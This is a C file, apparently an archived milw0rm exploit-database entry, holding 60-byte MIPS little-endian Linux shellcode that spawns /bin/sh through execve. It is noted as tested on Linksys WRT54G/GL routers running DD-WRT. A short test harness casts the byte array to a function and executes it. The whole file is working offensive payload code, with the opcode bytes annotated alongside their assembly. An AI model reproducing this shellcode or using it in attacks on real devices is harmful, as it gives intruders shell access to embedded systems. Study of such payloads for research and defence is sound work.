39 lines
No EOL
1.3 KiB
C
39 lines
No EOL
1.3 KiB
C
/* - MIPS little-endian
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* - linux execve 60 bytes shellcode
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* - execve("/bin/sh",["/bin/sh"],[]);
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* - tested on Linksys WRT54G/GL (DD-WRT Linux)
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* - based on scut paper Writing MIPS/Irix shellcode
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*
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* vaicebine at gmail dot com
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*/
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#include <stdio.h>
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char shellcode[] = {
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"\x50\x73\x06\x24" /* li a2,0x7350 */
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"\xff\xff\xd0\x04" /* LB: bltzal a2,LB */
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"\x50\x73\x0f\x24" /* li $t7,0x7350 (nop) */
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"\xff\xff\x06\x28" /* slti a2, $0,-1 */
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"\xe0\xff\xbd\x27" /* addiu sp,sp,-32 */
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"\xd7\xff\x0f\x24" /* li t7,-41 */
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"\x27\x78\xe0\x01" /* nor t7,t7,zero */
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"\x21\x20\xef\x03" /* addu a0,ra,t7 */
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"\xe8\xff\xa4\xaf" /* sw a0,-24(sp) */
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"\xec\xff\xa0\xaf" /* sw zero,-20(sp) */
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"\xe8\xff\xa5\x23" /* addi a1,sp,-24 */
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"\xab\x0f\x02\x24" /* li v0,4011 */
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"\x0c\x01\x01\x01" /* syscall */
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"/bin/sh"
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};
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int main(int argc, char *argv[])
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{
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void (*p)(void);
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p = shellcode;
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printf("shellcode size %d\n", sizeof(shellcode));
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p();
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return 0;
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}
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// milw0rm.com [2008-08-18]
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